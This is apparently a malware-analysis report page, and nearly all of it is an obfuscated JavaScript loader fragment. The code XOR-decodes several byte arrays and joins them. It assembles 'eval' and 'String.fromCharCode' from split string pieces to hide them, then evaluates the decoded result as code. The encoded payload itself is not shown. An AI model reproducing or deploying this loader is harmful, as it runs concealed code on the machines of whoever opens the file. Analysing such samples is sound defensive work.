NKs2Ywo7G=NKs2Ywo7G.concat(i0vujH7v60thC);for (hRP4B=0;hRP4B<bE0slXo.length;hRP4B++){bE0slXo[hRP4B]=bE0slXo[hRP4B]^17;}; NKs2Ywo7G=NKs2Ywo7G.concat(bE0slXo);for (soBk3=0;soBk3<coGSm62tQ.length;soBk3++){coGSm62tQ[soBk3]=coGSm62tQ[soBk3]^84;}; NKs2Ywo7G=NKs2Ywo7G.concat(coGSm62tQ);for (t2c9b5=0;t2c9b5<W63O0Vu9.length;t2c9b5++){W63O0Vu9[t2c9b5]=W63O0Vu9[t2c9b5]^67;}; NKs2Ywo7G=NKs2Ywo7G.concat(W63O0Vu9);for (S2R7E8nY=0;S2R7E8nY<lH5ARnFQ65v.length;S2R7E8nY++){lH5ARnFQ65v[S2R7E8nY]=lH5ARnFQ65v[S2R7E8nY]^19;}; NKs2Ywo7G=NKs2Ywo7G.concat(lH5ARnFQ65v);
 aDDM=function(uolM){
	E008R3=["e","m","v","n","a","d","x","l"];
	Yp4fxwhXo=E008R3[0]+E008R3[2]+E008R3[4]+E008R3[7];
	rorar=this;
	E87e9I6xz =rorar[Yp4fxwhXo];
	E87e9I6xz(uolM);
}
UbfQ2=function(BqbWw9X){
	g5A9l1j7eb="";
	bTVX6Ts71S=["dd","fjdk","fro","mChar","Co","dk","eee","de"];
	r3C1PKfOFK=bTVX6Ts71S[2]+bTVX6Ts71S[3]+bTVX6Ts71S[4]+bTVX6Ts71S[7];
	for (tW36J=0;tW36J<BqbWw9X.length;tW36J++){
	    gogor=this;
		roter=gogor["St"+"ri"+"ng"];
		g5A9l1j7eb += roter[r3C1PKfOFK](BqbWw9X[tW36J]);
	}
	
	return g5A9l1j7eb;	
}
aDDM(UbfQ2(NKs2Ywo7G));

Open this report in the interactive analyzer, or submit your own file for analysis.